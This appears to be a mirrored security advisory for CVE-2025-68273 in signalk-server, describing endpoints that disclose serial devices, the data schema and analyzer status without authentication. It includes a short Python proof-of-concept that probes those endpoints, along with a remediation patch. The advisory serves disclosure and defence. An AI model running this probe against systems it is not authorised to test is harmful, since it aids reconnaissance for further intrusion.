signalk-server
Affected
- introduced
0, fixed2.19.0(semver)
Fixed versions
2.19.0
Fix
- Fixed version
2.19.0npm install [email protected]
Advisory
Also known as: CVE-2025-68273
Signal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints
[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.
Summary
An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.
Details
The vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware's protection list in src/tokensecurity.js.
Vulnerable Code Analysis:
tokensecurity.js file defines an array of paths that require authentication. However, the following paths defined in src/serverroutes.ts are missing from this list: - /skServer/serialports - /skServer/availablePaths - /skServer/hasAnalyzerhttp_authorize middleware allows access to these paths even when enableSecurity is set to true.Exploit Scenario:
/skServer/availablePaths returns the full JSON schema of the vessel's data (e.g., environment.sun.sunrise, navigation.position), allowing the attacker to know exactly what data points are available for targeting. - Querying /skServer/serialports reveals connected hardware (e.g., /dev/ttyUSB0), aiding in physical device targeting.PoC
The following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.
import urllib.request
import json
BASE_URL = "http://localhost:3000"
def check_endpoint(name, path):
url = f"{BASE_URL}{path}"
print(f"[*] Checking {name} at {url}...")
try:
req = urllib.request.Request(url)
with urllib.request.urlopen(req) as response:
if response.getcode() == 200:
print(f"[!] VULNERABLE: {name} is accessible without authentication!")
content = response.read().decode('utf-8')
print(f" Snippet: {content[:100]}...")
else:
print(f"[-] Secure: {response.getcode()}")
except urllib.error.HTTPError as e:
print(f"[-] Secure: {e.code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("--- SignalK Information Disclosure PoC ---")
check_endpoint("Serial Ports", "/skServer/serialports")
check_endpoint("Available Paths", "/skServer/availablePaths")
check_endpoint("Analyzer Check", "/skServer/hasAnalyzer")
Expected Result:
The script will output [!] VULNERABLE for all three endpoints, showing snippets of the leaked JSON data.
Impact
Verified Information Disclosure:
During our verification, we successfully retrieved the following sensitive information without any authentication:
/skServer/availablePaths endpoint returned the complete JSON schema of the vessel's data. * Example: environment.sun.sunrise, navigation.position * Leakage of Internal State: We also observed entries like notifications.security.accessRequest.readwrite.attacker-device-32, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed./skServer/serialports endpoint exposed the list of connected serial devices./skServer/hasAnalyzer endpoint revealed whether traffic analysis tools were installed.This information allows an attacker to map the system's internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).
---
Remediation
Update `src/tokensecurity.js`
Add the missing paths to the list of protected routes in src/tokensecurity.js.
// src/tokensecurity.js
// ... existing protected paths ...
;[
'/apps',
'/appstore',
'/plugins',
'/restart',
'/runDiscovery',
'/security',
'/vessel',
'/providers',
'/settings',
'/webapps',
'/skServer/inputTest',
// ADD THESE LINES:
'/skServer/serialports',
'/skServer/availablePaths',
'/skServer/hasAnalyzer'
].forEach((p) =>
app.use(`${SERVERROUTESPREFIX}${p}`, http_authorize(false))
)Medium Basis: The source's own band: MODERATE
0, fixed 2.19.0 (semver)2.19.0
2.19.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0